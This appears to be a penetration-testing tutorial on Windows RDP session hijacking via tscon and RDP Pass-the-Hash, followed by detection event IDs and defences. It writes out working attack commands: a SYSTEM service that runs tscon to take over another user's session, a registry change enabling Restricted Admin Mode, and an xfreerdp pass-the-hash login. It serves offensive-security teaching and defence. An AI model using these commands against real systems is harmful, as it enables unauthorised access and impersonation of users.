RDP Session Hijacking (tscon) and Pass-the-Hash

RDP (port 3389) is the usual remote-administration path on Windows, and once we have a foothold on the machine it offers two powerful abuses that do not require knowing the victim's password. The first is session hijacking with tscon: if another user has an open RDP session and we reach SYSTEM privileges, we can connect to their desktop and impersonate them with no credentials. The second is RDP Pass-the-Hash, which lets us log in via the GUI with only the user's NT hash when "Restricted Admin Mode" is enabled.

Mechanism

First list the active sessions and their IDs:

query user

 USERNAME    SESSIONNAME    ID  STATE   IDLE TIME  LOGON TIME
>juurena     rdp-tcp#13      1  Active          7  8/25/2021 1:23 AM
 lewen       rdp-tcp#13      2  Active          *  8/25/2021 1:28 AM

tscon needs SYSTEM. The classic trick is to create a service (which by default runs as Local System) whose binary reconnects the victim's session (ID 2) to ours:

sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sessionhijack

When the service starts, a new console appears with lewen's session, now impersonated. (This method stopped working on Server 2019.) If we only have the user's NT hash, not the password, we try Pass-the-Hash. First we enable Restricted Admin Mode on the target:

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Then we connect with xfreerdp using the hash:

xfreerdp /v:<ip> /u:<user> /pth:<hash>

Requirements

For the tscon hijack you need local administrator rights escalated to SYSTEM (via SeImpersonate/Potato, PsExec, etc.) and another user session connected over RDP. For Pass-the-Hash you need the NT hash, the account must have RDP rights against the machine, and Restricted Admin Mode must be enabled (or you must be able to enable it, which already requires high privileges).

How to detect it

These attacks are given away by the creation of services whose binpath calls tscon (events 7045/4697), session-reconnect events 4778/4779 with no expected prior authentication, and type 10 logons (RemoteInteractive) over NTLM on accounts whose hash we suspect is compromised. Also the modification of the DisableRestrictedAdmin registry key.

Defence. Reduce the number of local administrators; log off RDP sessions instead of leaving them connected; keep Restricted Admin Mode disabled where it is not used; enforce NLA and MFA; and monitor service creation. Related to Pass-the-Hash, LSASS dumping with Mimikatz, SeImpersonate and Potato attacks and password spraying.